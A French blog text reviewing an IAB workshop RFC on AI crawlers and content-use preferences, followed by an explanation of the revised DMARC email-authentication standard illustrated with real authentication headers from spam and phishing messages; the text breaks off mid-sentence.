Le colloque (ou atelier) de l'IAB s'est tenu les 19 et 20 septembre 2024 (oui, le RFC met trop longtemps à sortir) et prévoyait de travailler sur tous les aspects liés à cette récolte de données (cf. l'appel à participation). Le colloque regroupait des personnes de divers horizons, experts techniques, entreprises d'IA, fournisseurs de contenu, décideurs politiques, etc. La liste figure dans l'annexe A.2. La règle suivie était celle de Chatham House (tout ce qui se dit est public mais sans le lier à un·e participant·e particulier·ère). D'ailleurs, le RFC note qu'au moins un participant n'a pas voulu que son identité soit dévoilée, juste qu'il était un représentant officiel d'un gouvernement. Et, comme déjà dit, le RFC rend compte des discussions, cela ne signifie pas que l'IAB approuve tout ce qui a été dit.
La section 2 du RFC résume les discussions (la totalité des
soumissions sont en
ligne). Aujourd'hui, les fournisseurs de contenu, les
webmestres, peuvent exprimer leurs choix quant à la récolte de
données par divers moyens. Il y a par exemple une solution technique
existante, c'est le
robots.txt, qui est
décrit dans le RFC 9309. Notez que, en
l'absence du fichier robots.txt, les
bots peuvent tout récolter. C'est donc une
solution opt-out. Il y a
aussi des solutions non techniques par exemple les
conditions d'utilisation (ainsi, ce blog est sous licence GFDL et les contenus peuvent
donc être réutilisés, à la condition que les destinataires jouissent
des mêmes droits de réutilisation). [Tiens, par contre, il n'existe pas
de licence
CC-BY-NoAI ?] Pour revenir à la technique, les webmestres
peuvent aussi bloquer les crawlers par leur
adresse IP, ou leur User-Agent (RFC 9110, section 10.1.5), ou carrément tout mettre derrière
un paywall.
Comme indiqué plus haut, ces solutions sont en général opt-out, donc par défaut, la récolte est autorisée. (Sur ce blog, et c'est apparemment le cas de la plupart des serveurs HTTP, plus de la moitié des requêtes sont faites par des bots, mais pas forcément liés à l'IA, c'était déjà le cas avant les LLM.) On constate (cf. l'exposé « Consent in Crisis: The Rapid Decline of the AI Data Commons ») une tendance à la fermeture : la récolte devient de plus en plus difficile car de nombreux serveurs bloquent les accès qu'ils pensent dûs à un bot. Le Web tend donc à se fermer.
[Le RFC n'est pas clair sur ce point mais, pour moi, il est important de faire la différence entre les problèmes techniques et opérationnels posés par certains bots qui, qu'ils travaillent pour l'IA ou pas, « matraquent » avec excès les serveurs, et les problèmes politiques et financiers liés à l'utilisation qui est faite des données récoltées. Les problèmes techniques et opérationnels causés par des « bots fous » existaient bien avant les LLM. Par contre, les problèmes politiques (légitimité à réutiliser le contenu) et financiers (perte de revenus pour les ayant droits, comme mentionné dans le RFC) sont plus spécifiques de l'IA. Le RFC ne parle pas vraiment des problèmes opérationnels posés par l'agressivité de certains bots - pas forcément liés à l'IA, d'ailleurs - mais la réunion IETF 123 à Madrid avait vu de très intéressants exposés à ce sujet.]
À l'heure actuelle, il est difficile de savoir ce qui est permis,
au delà des simples consignes du
robots.txt. Les gérants des serveurs n'ont pas
de moyen standard et automatiquement analysable de faire connaitre
leurs conditions d'utilisation, et les bots n'ont
donc pas non plus de moyen de savoir ce qui est permis. [Il va de
soi qu'il y a des bots qui, de toute façon, s'en
foutent. Le travail de normalisation à l'IETF ne pourra concerner que les
bots honnêtes et ne dispensera pas de mesures de
sécurité contre les malhonnêtes.]
Le RFC creuse certain aspects de la question. Par exemple, en
section 2.1, le problème de la différence entre le moment du
ramassage des données et celui de leur utilisation. Les consignes du
serveur (comme le robots.txt) sont lues au
moment du ramassage mais certains responsables de contenu voudraient
exprimer des choix concernant l'utilisation, or celle-ci se fait à
un autre moment, décorrélé du premier. Certaines récoltes, comme
celle faite par Common Crawl, peuvent servir
à de multiples usages et des consignes concernant le ramassage ne
sont donc pas appropriées. Autre exemple que Common Crawl, on peut
avoir une organisation qui gère un moteur de recherche du
Web et développe un LLM, et qui
utilise le même crawler pour les deux
usages. Certains webmestres estiment que la première utilisation ne
pose pas de problème (au bout du compte, cela ramènera du trafic sur
leur site Web) mais s'opposent à la seconde car elle n'apportera pas
de trafic, le LLM donnant des réponses qui suffiront à
l'utilisateur.
Du point de vue technique, il faut aussi noter que le principe d'entrainement d'un LLM fait qu'on utilise toutes les données et, qu'une fois le modèle créé, il n'y a pas d'étiquetage spécifique de la source de telle ou telle réponse du LLM. (C'est pour cela que les LLM ont du mal à indiquer leurs sources.) Un webmestre qui souhaiterait dire « d'accord pour servir à l'entrainement des IA mais pas pour que ces IA aient un usage militaire, ou bien pas un usage commercial » ne le peut pas, en raison de cette limite technique. Et même si ce moyen existait, le gérant du LLM serat obligé de faire N modèles, pour toutes les permutations des différents critères (ou tout simplement d'exclure tous les contenus ayant une licence restrictive, ce qui limiterait la représentativité du corpus d'entrainement du modèle).
Enfin, les préférences changent dans le temps et celles exprimées au moment de la récolte des données peuvent ne pas être à jour lorsque les données seront utilisées pour l'entrainement d'un LLM.
Le problème est déjà compliqué si on suppose que tous les acteurs sont de bonne foi et respectent les règles. Mais, évidemment, la confiance ne règne pas, et pour de bonnes raisons. [Les entreprises capitalistes trichent, que ce soit celles qui entrainent les LLM ou bien celles des ayant droits.] Il n'y a pas de moyen facile de vérifier le respect des préférences exprimées par les gérants du contenu. Et c'est d'autant plus inquiétant que les entreprises de l'IA n'ont pas vraiment de motivation pour respecter les règles : aucun risque de sanction [surtout compte-tenu des déclarations de Trump contre tout projet de régulation de l'IA]. Cette absence de confiance entraine l'utilisation importante de moyens techniques de blocage, comme de bloquer les adresses IP des bots connus. Il y a même un bot qui suggère cette solution :
119.28.89.249:58834 - - [21/Jan/2026:15:32:02 +0000] "GET /5153.xml HTTP/1.1" 200 6891 "-" "Mozilla/5.0 (compatible; Thinkbot/0.5.8; +In_the_test_phase,_if_the_Thinkbot_brings_you_trouble,_please_block_its_IP_address._Thank_you.)" www.bortzmeyer.org TLS
L'atelier de l'IAB a passé du temps sur la question de
l'attachement des préférences au contenu (section 2.3). Le
robots.txt (RFC 9309) est
très bien, très déployé et largement reconnu. Mais il manque de
souplesse pour les gros sites qui souhaitent un système plus
granulaire. Par exemple, si un site de vidéos souhaitait restreindre
l'accès à certaines vidéos, la seule solution est de les placer dans
un espace particulier (par exemple un
répertoire distinct), et donc de devoir
changer l'URL
si la classification change. Et, comme le
robots.txt est à la racine du site Web, il
n'est pas sous le contrôle des créateurs de contenu qui ont accès à
un espace dédié mais pas à la totalité du site. Si le CMS que vous
utilisez permet des créations de contenu et des mises à jour
décentralisées, où certaines personnes peuvent modifier une partie
du site, regardez s'il permet à ces personnes d'influencer le
robots.txt. Je suis preneur d'exemples.
Une autre solution (qui ne serait pas forcément exclusive du
robots.txt mais complémentaire) serait
d'inclure les préférences d'utilisation dans le contenu
lui-même. C'est ce que permet l'élément HTML <meta>
ou le format XMP pour les images. Des formats
comme XML
ou JSON
permettraient certainement d'ajouter ces préférences d'utilisation,
qui ont l'avantage de forcément voyager avec le contenu,
contrairement au robots.txt. Évidemment, cela
ne marchera pas si ces métadonnées sont retirées par le programme
de collecte (pas forcément pour des raisons malveillantes, cela peut
être pour diminuer la taille des données). Et certains formats ne se
prêtent pas à cette inclusion des préférences d'utilisation, comme
le texte brut, ou comme les contenus qui ont
plusieurs auteurs (pensez à un fil de discussion sur les réseaux
sociaux).
Une autre solution serait de placer les préférences d'utilisation dans un registre, extérieur aux œuvres, comme cela se fait souvent pour, par exemple, la musique ou les photographies. C'est plus robuste que l'inclusion de métadonnées mais ça passe mal à l'échelle de l'Internet (les registres existants avaient été conçus pour des écosystèmes plus petits et relativement fermés).
Enfin, parmi les difficultés, il faut noter qu'exprimer
préférences et conditions d'utilisation un peu fines nécessite de
disposer d'un vocabulaire (par exemple pour décrire les différentes
techniques qui sont regroupées sous le terme marketing et flou
d'« IA ») et qu'il n'existe pas de vocabulaire standard. Ce serait
une tâche difficile que d'en établir un (un travail est en cours,
dans draft-ietf-aipref-vocab). Je
me souviens d'une réunion IETF où il y avait eu un long débat sur la
question de savoir si la traduction rentrait
dans la catégorie « IA générative » (après
tout, elle génère des textes…).
La section 3 du RFC, en conclusion, essaie de synthétiser et
d'identifier les points sur lesquels l'IETF pourrait
travailler. L'atelier avait un relatif consensus sur le fait que la
situation actuelle est mauvaise et que le principal outil technique
disponible, robots.txt, ne convient pas. Les
pistes de travail discutées ont été :
robots.txt ou bien développer un meilleur
système d'attachement aux sites Web,Par contre, le consensus était que les points suivants n'étaient pas du ressort de l'IETF ou ne pouvaient pas, pour l'instant, faire l'objet d'un travail concret :
draft-meunier-web-bot-auth-architecture
et draft-meunier-web-bot-auth-glossary).Notez qu'un résumé de l'atelier avait été publié juste après. Et, sinon, vous pouvez regarder l'intéressant site Web « Dealing With Bots » et, sur les projets de contrôle de l'accès aux ressources et leurs risques, l'excellent article « No One Should Control the Internet After AI: Freedom to Build Cleopatra GPT ».
Date de publication du RFC : Mai 2026
Auteur(s) du RFC : T. Herr (Valimail), J. Levine (Standcore)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF dmarc
Première rédaction de cet article le 20 mai 2026
DMARC est une technique
d'authentification du courrier
électronique qui permet à un domaine d'indiquer quelle
est sa politique de sécurité vis-à-vis des messages dont
l'expéditeur (le champ From: de l'en-tête)
indique ce domaine. Il donne au gérant du domaine la possibilité
d'annoncer sa politique de sécurité « tous les messages de ce
domaine sont authentifiés (via SPF ou DKIM) ». Typiquement, DMARC est le couronnement
d'une démarche de sécurité du courrier, ce qu'on annonce quand on a
bien tout authentifié. Par contre, attention, en authentifiant la
donnée visible par les utilisateurs et pas les données techniques,
il casse certains usages du courrier. DMARC était à l'origine
normalisé dans le RFC 7489, que ce nouveau
RFC
remplace. Mais rassurez-vous si vous avez déjà déployé DMARC : les
changements ne sont pas radicaux. Le principal est le nouvel
algorithme pour trouver l'enregistrement DMARC pertinent (celui à
l'apex du domaine enregistré).
Revenons sur les problèmes de sécurité du courrier électronique. Un message typique, tel que normalisé par le RFC 5322, comprend dans son en-tête ce genre d'informations :
Date: Wed, 18 Mar 2026 17:28:36 +0800 From: Jiankang Yao <yaojk@cnnic.cn> To: 125attendees@ietf.org Subject: [125attendees] Wednesday 8:00 pm, Shenzhen light show for IETF 125 X-Mailer: iPhone Mail (21D61) [et bien d'autres]
Une qui nous intéresse particulièrement est l'expéditeur. Cette
notion est plus compliquée qu'il n'y parait (il y a plusieurs
définitions possibles de « expéditeur ») mais pour DMARC, c'est
simple : le champ qui nous intéresse est uniquement le
From: (section 3.6.2 du RFC 5322). C'est en effet celui qui est typiquement affiché
par les MUA, et
c'est celui que DMARC va protéger. On l'appelle souvent RFC5322-From
pour le distinguer de celui qui apparait dans l'enveloppe du
courrier, le RFC5321-From (et qui n'est pas montré dans mon
exemple).
Les techniques d'authentification existantes avant DMARC,
SPF (RFC 7208) et DKIM (RFC 6376),
n'authentifient pas ce champ mais d'autres (le
RFC5321-From pour SPF et le domaine indiqué dans la signature pour
DKIM), qui ne sont pas en général affichés à l'utilisateurice
final·e. DMARC va permettre d'utiliser ces deux techniques, SPF et
DKIM, pour les appliquer à l'expéditeur (RFC5322-From). Un test
DMARC réussi signifie que SPF ou DKIM a réussi
mais aussi que le domaine authentifié par SPF ou DKIM est le même
que celui présent dans le From: ; on parle
d'alignement du nom de domaine. Cela ne va pas
de soi car il y a de nombreux usages légitimes
du courrier où ces domaines ne sont pas alignés, et DMARC casse donc
ces usages.
Dans les exemples de messages reçus après traitement par DMARC,
on va regarder les champs
Authentication-Results. Normalisés dans le RFC 8601, ils sont ajoutés par le récepteur et
indiquent le résultat d'une technique d'authentification. Ici, un
exemple où SPF et DKIM ont marché (tous les exemples ici sont réels,
issus de mes boites aux lettres):
Authentication-Results: mail.bortzmeyer.org; dmarc=pass (p=quarantine dis=none) header.from=afnic.fr
Authentication-Results: mail.bortzmeyer.org;
dkim=pass (2048-bit key; secure) header.d=afnic.fr header.i=@afnic.fr header.a=rsa-sha256 header.s=afnic-20240601
header.b=bdGM6W8o;
dkim-atps=neutral
Authentication-Results: mail.bortzmeyer.org; spf=pass (sender SPF authorized) smtp.mailfrom=afnic.fr
(client-ip=2001:67c:2218:10::51:1; helo=mx1.nic.fr; envelope-from=quelqu.un@afnic.fr; receiver=bortzmeyer.org)
Le domaine afnic.fr a bien été authentifié, à
la fois par SPF et par DKIM, et DMARC passe donc (le champ
From: n'est pas montré ici mais il indiquait
bien une adresse @afnic.fr).
Il est également important de se souvenir que DMARC ne fait
qu'authentifier le
domaine, il ne garantit pas que le message soit sincère, sûr, utile ou quoi
que ce soit d'autre. Si on reçoit un message de
Trump, on peut prouver qu'il vient bien de
whitehouse.gov mais il sera quand même
certainement mensonger. C'est pour cela qu'il est absurde, comme on
le lit dans certains forums, de dire « je ne comprends pas, j'ai
bien mis un enregistrement DMARC et mes messages finissent quand
même dans la boite Spam » : les spammeurs font du DMARC, eux aussi.
L'inverse est vrai aussi, un message légitime et désiré peut parfaitement échouer au test DMARC, d'autant plus, que, comme indiqué plus haut, DMARC casse plusieurs usages légitimes du courrier. Il vaut donc mieux ne pas refuser un message uniquement sur la base d'un échec DMARC mais traiter cet échec comme une indication parmi d'autres. Ce RFC 9989 insiste sur ce point (notamment sa section 7), en mentionnant également le RFC 7960, qui détaille les problèmes venant de l'utilisation de DMARC.
La section 2 du RFC détaille le cahier des charges de DMARC. Comme avec toutes les solutions de sécurité, il faut garder en tête ce cahier des charges lorsqu'on évalue DMARC. Aucune solution de sécurité n'est parfaite : elles collent simplement plus ou moins bien à leur cahier des charges. Celui-ci, en résumé, est :
goog1e.com au lieu de
google.com) sont hors-sujet.From: « Emmanuel Macron
<emmanuel5561@gmail.com>, DMARC ne se
préoccupe que du gmail.com, pas du emmanuel5561.Un bon cahier des charges a une autre section très importante : celle des non-objectifs, des choses qu'on n'essaie pas de faire. (Regardez les documents commerciaux : ils n'ont jamais l'honnêteté de lister ce qu'ils ne font pas.) Pour DMARC :
Reply-To: ou
Date:).From: "amendes.gouv.fr"
<amendes-gouv-nepasrepondre.C9717A5D-EA39-D865-765A6C98B4A0BB03@therugest.com>). Tant
pis pour ceux et celles qui s'obstinent à utiliser un logiciel
qui, par défaut, n'affiche que ce nom
(Outlook fait encore ça). Relisez la
section 11.4 du RFC.Par exemple, voici un spam, prétendant venir de l'ANTAI mais qui passe tous les tests (le nom de domaine dans l'adresse n'a rien à voir avec l'ANTAI mais beaucoup d'utilisateurs n'y feront pas attention, et ce nom avait bien un enregistrement DMARC) :
Authentication-Results: mail.bortzmeyer.org; dmarc=pass (p=quarantine dis=none) header.from=rtm.gov.my
Authentication-Results: mail.bortzmeyer.org;
dkim=pass (2048-bit key; secure) header.d=rtm.gov.my header.i=@rtm.gov.my header.a=rsa-sha256 header.s=rtm
header.b=MaKApt+s;
dkim-atps=neutral
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=rtm.gov.my; s=rtm; t=1775231898; x=1775836698; darn=bortzmeyer.org;
h=content-transfer-encoding:mime-version:subject:message-id:to:from
:date:from:to:cc:subject:date:message-id:reply-to;
bh=L6c3f6fDBrQyBjkO1RiiF3vHHNmYjLDd4A1urn+cNJg=;
b=MaKApt+s0vgkVsgh3VoFE0/MgCt8ilWkghyQKUbj2NnhgInADkR8G3aW0UbklkuDDV
…
Authentication-Results: mail.bortzmeyer.org; spf=pass (sender SPF authorized) smtp.mailfrom=rtm.gov.my
(client-ip=2607:f8b0:4864:20::f64; helo=mail-qv1-xf64.google.com; envelope-from=antai.gouv.fr@rtm.gov.my;
receiver=bortzmeyer.org)
Subject: ACTION REQUISE SOUS 24H
From: "Antai.gouv.fr" <Antai.gouv.fr@rtm.gov.my>
La section 3 du RFC décrit les termes utilisés par DMARC, entre autres :
From: de l'en-tête (rappel : pas celui
de l'enveloppe).d= dans la signature DKIM (rappel : le
domaine DKIM peut n'avoir aucun rapport avec l'adresse de
l'en-tête ou avec celle de l'enveloppe).From de l'enveloppe (rappel : pas celui
de l'en-tête). Dans le contexte de DMARC, ce terme ne s'applique
pas au domaine indiqué dans la commande EHLO (ou HELO) de
SMTP.bortzmeyer.org est le domaine organisationnel
de mail.bortzmeyer.org. En pratique, c'est
souvent le domaine enregistré du RFC 9499,
domaine qui a été enregistré auprès d'un registre..fr ou
eu.org. Ainsi, dans
mail.foobar.eu.org,
foobar.eu.org est le domaine organisationnel
et eu.org le suffixe public, ou domaine
d'enregistrement.Armé de cela (mais il y a d'autres termes, que je présenterai au fur et à mesure), on peut passer à la section 4, qui explique les concepts importants.
DMARC permet à un titulaire de domaine d'annoncer sa politique
d'authentification d'un domaine de l'auteur d'un courrier. On
n'authentifie donc que le domaine, pas toute l'adresse (je l'ai déjà
dit mais c'est important). Et DMARC ne s'intéresse qu'à ce qu'il
appelle le domaine de l'auteur, donc le From:
dans l'en-tête (également appelé « RFC5322.From »). DMARC annonce
juste une politique, l'authentification est faite avec SPF (RFC 7208) ou DKIM (RFC 6376).
Un concept essentiel dans DMARC est celui
d'alignement. Il y a alignement quand le
domaine authentifié par SPF (celui de l'enveloppe, le
« RFC5321.From ») ou par DKIM (celui indiqué dans le
d= de la signature) coïncide avec le domaine de
l'auteur (celui du From: de l'en-tête). Plus
précisément, il peut y avoir un alignement strict (les deux noms de
domaine sont identiques) ou relâché (les deux noms sont dans le même
domaine organisationnel). Le choix se fait dans l'enregistrement
DMARC publié.
Justement, on le publie où ? Via le DNS, dans un enregistrement de type TXT, publié
dans le sous-domaine _dmarc, par exemple :
% dig +short _dmarc.proton.me TXT "v=DMARC1; p=quarantine; fo=1; aspf=s; adkim=s;"
On bénéficie ainsi de toute l'infrastructure,
très fiable et éprouvée, du DNS. Ce sous-domaine
_dmarc figure dans le
registre IANA des noms commençant par un trait bas, créé par le RFC 8552.
Au passage, si vous voulez voir (ou enregistrer), sur un serveur DNS faisant
autorité, uniquement les requêtes DNS pour le sous-domaine
_dmarc, dnscap permet
de le faire facilement :
% dnscap -g -x _dmarc
(Je triche un peu, le -x attrape en effet
davantage que cela mais ça suffit en première approximation.)
Le format exact de l'enregistrement DMARC utilise des doublets clé=valeur, comme celui de DKIM. (Sa description formelle, en ABNF - RFC 5234 - est dans la section 4.8.) Les clés possibles figurent dans un registre IANA. Les plus courantes sont :
v : c'est obligatoirement le premier
doublet clé=valeur et il indique la version de DMARC, actuellement
DMARC1.p : c'est la clé la plus importante,
celle qui indique la politique à appliquer aux messages qui ne
passent pas la validation DMARC. Une valeur
reject indique que le titulaire du domaine
recommande le rejet des messages invalides (cela ne peut être
qu'une recommandation, car le récepteur du courrier reste
évidemment libre de sa politique). quarantine
recommande une mise en attente quelque part (un dossier
« peut-etre-spam » par exemple). Enfin, none
indique qu'on recommande de ne rien faire. Cela peut être utilisé
quand on craint les conséquences de DMARC sur certains usages
(cf. RFC 7960) mais qu'on pense que certains
récepteurs vont mal traiter les messages des domaines sans
DMARC. Ou bien cela peut être utile dans certains audits « de
sécurité » qui demandent un enregistrement DMARC, n'importe
lequel. Enfin, un p=none peut être utilisé
lors d'un déploiement progressif de DMARC, quand on veut juste
tester, avant de publier une politique plus fasciste. Comme DMARC
permet de solliciter l'envoi de rapports d'erreur, un
p=none peut être accompagné d'une telle
sollicitation.sp : comme p mais
pour les sous-domaines du domaine qui a l'enregistrement
DMARC. Les valeurs possibles sont les mêmes que pour
p.np : nouveauté, initialement décrite
dans le RFC 9091. C'est le traitement à
appliquer aux sous-domaines non existants du domaine pour lequel
une politique DMARC est publiée. Les valeurs possibles sont les
mêmes que pour p.ruf : c'est ainsi qu'on sollicite
l'envoi de rapports d'erreur. On indique les URI où envoyer ces
rapports (souvent des URI de plan mailto:,
pour demander des rapports par courrier). Le format des rapports
est spécifié dans les RFC 9991, RFC 6651 et RFC 6552. ruf
demande un rapport par message invalide, rua
permet de demander des rapports agrégés. Leur format figure dans
le RFC 9990.psd : nouveauté de notre RFC, s'il a la
valeur y, il
indique que le domaine est un suffixe public (PSD :
Public Suffix Domain), c'est-à-dire un domaine
dont les sous-domaines peuvent être délégués à d'autres entités
(comme c'est le cas de
.re ou
eu.org).fo : diverses options pour la
génération de rapports d'erreur.adkim et adpf :
tous les deux peuvent prendre la valeur s
(strict) ou r (relâché, ou laxiste). Ils
indiquent si l'alignement du From: avec l'identificateur authentifié par
DKIM ou SPF doit être strict (les deux identificateurs sont
rigoureusement identiques) ou relâché (l'identificateur
authentifié peut se contenter d'être dans le même domaine
enregistré que celui qui a un enregistrement DMARC). Par défaut,
DMARC est laxiste. Notez que cela permet à quelqu'un qui peut
utiliser un sous-domaine de se faire authentifier comme étant dans
l'apex (section 11.8 du RFC). Demander un alignement strict résout
ce problème (mais impose que vous contrôliez bien les
sous-domaines).Les clés inconnues doivent être ignorées, ce qui permet d'en ajouter de nouvelles sans tout casser. La politique pour un éventuel ajout est « Spécification nécessaire » (RFC 8126).
On a parlé du domaine organisationnel, l'apex du domaine testé
par DMARC. C'est en fait une notion administrative, pas technique,
ce qui fait que ce domaine organisationnel n'est pas évident à
identifier dans le DNS. Pour le trouver, l'ancien RFC, le RFC 7489, suggérait de faire appel à une liste de suffixes
publics, comme la PSL (rappel : il n'existe
pas de liste officielle). Notre nouveau RFC suggère une autre
méthode, en remontant l'arbre des noms de domaine. On commence par
le domaine qu'on veut authentifier, et, si on n'y trouve pas de
politique DMARC, on essaie son domaine parent et ainsi de suite,
jusqu'à ce qu'on trouve un enregistrement DMARC. Ainsi, pour
truc.machin.example.com, on essaiera
successivement _dmarc.truc.machin.example.com,
_dmarc.machin.example.com,
_dmarc.example.com et enfin
_dmarc.com. La dernière requête permet donc au
registre de
.com de définir une
politique DMARC qui s'appliquera à tous les domaines sans politique
DMARC. C'est très dangereux, pour les raisons expliquées dans le
RFC 1535 mais cela permet de se passer de
liste de suffixes publics, et c'est plus souple pour le cas des
grosses organisations, qui peuvent avoir des politiques DMARC dans
des sous-domaines qui ne sont pas délégués.
Notez que l'éventuelle présence de la clé
psd va compliquer les choses mais je n'ai pas
vraiment le courage de détailler ici l'algorithme complet.
Maintenant, voyons quels sont les acteurs d'un déploiement de
DMARC. D'abord, le titulaire du domaine qui envoie des messages. Il
doit publier un enregistrement SPF à l'apex du domaine. Il doit
signer les courriers sortants avec DKIM (ce qui implique de publier
les clés publiques DKIM dans le DNS). Notez que DMARC n'a pas besoin
de SPF et de DKIM, un seul des deux suffit
mais, bon, autant tout faire. Il a intérêt à créer une boite dédiée
pour recevoir les rapports sur les messages invalides. Le titulaire
doit enfin publier dans le DNS l'enregistrement DMARC (celui qui
commence par _dmarc). Au début, on utilise
typiquement une politique indulgente
(p=none). Puis on teste.
Comment teste-t-on ? En lisant les rapports indiquant des
messages invalides (RFC 9990 et RFC 9991). Les
rapports agrégés sont du
XML, assez
lisibles par un humain mais, en pratique, on préférera typiquement
utiliser un programme qui les synthétisera dans une forme plus
lisible. (Je n'utilise pas actuellement un tel programme, car je
n'en ai pas trouvé. Il faut qu'il tourne en local - pas question de
confier les rapports à un tiers - et ne nécessite pas d'installer
toute une batterie de cuisine PHP et MariaDB.)
Une fois qu'on a trouvé les problèmes (une application oubliée dans
un coin qui envoie des courriers sans passer par les serveurs
centraux…) et qu'on les a corrigés, on peut durcir la politique
(p=quarantine, par exemple). Il est raisonnable
d'attendre plusieurs semaines, voire mois, pour être sûr d'avoir vu
tous les problèmes.
(Et si vous êtes gérant d'un suffixe public - un domaine sous
lequel d'autres entités peuvent enregistrer des noms, demandez-vous
si vous devez publier du DMARC avec psd=y. Ce
n'est pas obligatoire, cf. section 5.2.)
Et le récepteur du courrier, que doit-il faire ? Il extrait du message le domaine de l'auteur. Il cherche s'il y a un enregistrement DMARC. Il exécute les tests SPF et DKIM. S'il récupère un ou plusieurs domaines authentifiés, il vérifie l'alignement (strict ou relâché). Si au moins un domaine authentifié est aligné avec le domaine de l'auteur, le test DMARC est un succès. Sinon, c'est un échec. Notez bien qu'il n'est pas nécessaire que SPF et DKIM réussissent tous les deux. Si le test DMARC se termine en échec, on applique un traitement, qui dépend de la politique suggérée dans l'enregistrement DMARC, et de la politique propre du receveur. Voici un exemple où DMARC dit que tout s'est bien passé :
From: "Projet Arcadie" <admin@projetarcadie.com>
Authentication-Results: mail.bortzmeyer.org; dmarc=pass (p=none dis=none) header.from=projetarcadie.com
Authentication-Results: mail.bortzmeyer.org;
dkim=pass (2048-bit key; unprotected) header.d=projetarcadie.com header.i=@projetarcadie.com header.a=rsa-sha256 header.s=alternc
header.b=plrnZlsJ;
dkim=pass (2048-bit key) header.d=projetarcadie.com header.i=@projetarcadie.com header.a=rsa-sha256 header.s=alternc
header.b=m84VgM5U;
dkim-atps=neutral
Authentication-Results: mail.bortzmeyer.org; spf=pass (sender SPF authorized) smtp.mailfrom=projetarcadie.com (client-ip=91.194.60.11;
helo=arcadieweb01.octopuce.fr; envelope-from=admin@projetarcadie.com; receiver=bortzmeyer.org)
Ici, il y avait un enregistrement SPF (qui autorise l'émetteur
SMTP
donc cela suffit), deux signatures DKIM, toutes les deux correctes,
il y a alignement strict, et donc DMARC passe, il n'y a aucun doute
que le domaine émetteur était bien
projetarcadie.com. (La politique DMARC était
p=none donc un éventuel échec n'aurait sans
doute pas eu beaucoup de conséquences.)
Ici, DKIM a échoué (pourquoi ? mystère mais c'est peut-être la faute de SpamAssassin qui a modifié le sujet, il faudrait que je vérifie ma configuration) mais SPF réussit (le message vient bien de Gmail) donc DMARC est content (il s'agissait bien d'un spam, tentative d'escroquerie financière) :
Authentication-Results: mail.bortzmeyer.org;
dkim=fail reason="signature verification failed" (2048-bit key; unprotected) header.d=gmail.com header.i=@gmail.com
header.a=rsa-sha256 header.s=20230601 header.b=K6F+sj7y;
dkim-atps=neutral
Authentication-Results: mail.bortzmeyer.org; dmarc=pass (p=none dis=none) header.from=gmail.com
Authentication-Results: mail.bortzmeyer.org; spf=pass (sender SPF authorized) smtp.mailfrom=gmail.com
(client-ip=2a00:1450:4864:20::133; helo=mail-lf1-x133.google.com; envelope-from=mrsbalex@gmail.com;
receiver=sources.org)
From: "Mr. Mike Christopher" <mrsbalex@gmail.com>
Et ici, un échec, SPF est correct, il n'y a pas de signature DKIM
et il n'y a pas d'alignement des domaines, la tentative du spammeur
pour se faire passer pour saison.co.jp échoue :
From: 株式会社クレディセゾン <admin@saison.co.jp>
Authentication-Results: mail.bortzmeyer.org; dmarc=fail (p=none dis=none) header.from=saison.co.jp
Authentication-Results: mail.bortzmeyer.org; spf=pass (sender SPF authorized) smtp.mailfrom=zh-cht-jjb.com (client-ip=34.130.185.194;
helo=zh-cht-jjb.com; envelope-from=admin@zh-cht-jjb.com; receiver=bortzmeyer.org)
Et ici, l'émetteur tente de faire croire qu'il vient de
Gmail mais l'enregistrement SPF de
Gmail se termine par un ~all, son
adresse IP n'y est pas listée et il n'y a pas de signature DKIM dans
le message. Même pas besoin de tester l'alignement puisqu'il n'y a
pas de domaine authentifié du tout :
From: Axel.Bouvier <mailrmicro+Axel.Bouvier@gmail.com>
Authentication-Results: mail.internatif.org; dmarc=fail (p=none dis=none) header.from=gmail.com
Authentication-Results: mail.internatif.org; spf=softfail (domain owner discourages use of this host)
smtp.mailfrom=gmail.com (client-ip=78.246.109.210; helo=gmail225.com;
envelope-from=mailrmicro+axel.bouvier@gmail.com; receiver=internatif.org)
De nombreux autres exemples, avec succès ou échec, figurent dans l'annexe B du RFC.
C'est pas mal si le récepteur de courrier qui fait tourner DMARC
en profite pour générer les rapports (RFC 9991), s'ils sont
demandés (par un ruf ou un
rua dans l'enregistrement DMARC de
l'envoyeur). Néanmoins, le RFC note qu'il peut ne pas le faire, s'il
craint pour la vie privée (cf. section 10) ou tout simplement si ça
lui consomme trop de ressources.
D'ailleurs, le RFC insiste bien sur un point que j'avais déjà mentionné : la décision finale (de livrer le message, ou de le mettre dans le dossier Spam ou de le jeter) revient toujours au destinataire (section 5.4). Celui-ci applique la politique qu'il veut. Il serait ridicule de croire que, parce qu'on a SPF, DKIM et DMARC bien configurés, nos messages seraient systématiquement livrés. Après tout, un spammeur peut en faire autant.
À l'inverse, un récepteur peut parfaitement décider d'acheminer jusqu'à ses utilisateurices un message qui échoue aux testes DMARC, par exemple parce qu'il a lu le RFC 7960 (et la section 7.4 de notre RFC) et qu'il sait que DMARC échoue dans des cas d'usage pourtant légitimes, notamment les listes de diffusion. DMARC fournit de la traçabilité et de la responsabilité, il n'est pas un oracle tout-puissant sur l'authenticité du message.
La section 7 du RFC est surtout intéressante pour les historien·nes et pour les technicien·nes qui veulent comprendre les choix faits par DMARC. C'est un pot-pourri de diverses discussions.
D'abord, SPF. SPF a été conçu pour être utilisable
pendant la session SMTP, parfois avant même que l'en-tête du
message ait été transmis. Une politique SPF « dure » (se terminant
en -all) peut amener au rejet du message avant
que DMARC n'ait été évalué. Ainsi, si un message échoue en SPF mais
réussit en DKIM, normalement, DMARC réussirait. Mais, si le test SPF
mène à un rejet dès la session SMTP, le message n'arrivera
pas. Attention donc en configurant vos enregistrements SPF. (Relisez
les « M3AAWG Best
Practices for Managing SPF Records » et
« M3AAWG
Email Authentication Recommended Best
Practices ».)
Et à propos de rejet précoce (dans le cours de la session SMTP, avant d'avoir accepté le message) : le RFC recommande cette méthode car elle évite la génération d'un avis de non-remise (RFC 3464), avis qui irait sans doute à un innocent si l'adresse était usurpée. Deux façons de mettre en œuvre ce rejet précoce, en renvoyant un code d'erreur (commençant par 5 RFC 5321, section 4.2.5) au client SMTP, qui saura ainsi que son message a été refusé, ou, plus méchamment, en prétendant que le message a bien été reçu (code commençant par 2) mais en le jetant silencieusement. La deuxième solution est évidemment horrible (le serveur SMTP ment, l'émetteur ne sait pas ce qui s'est passé, le déboguage devient très difficile) mais elle est parfois nécessaire pour éviter le backscatter, l'envoi de messages d'erreur à un innocent, une des plaies du spam qui usurpe votre adresse. Et elle évite de donner des informations à quelqu'un qu'on estime être un usurpateur.
Contrairement à ce qu'on voit dans certains
articles pro-DMARC imprudents qui promeuvent DMARC sans
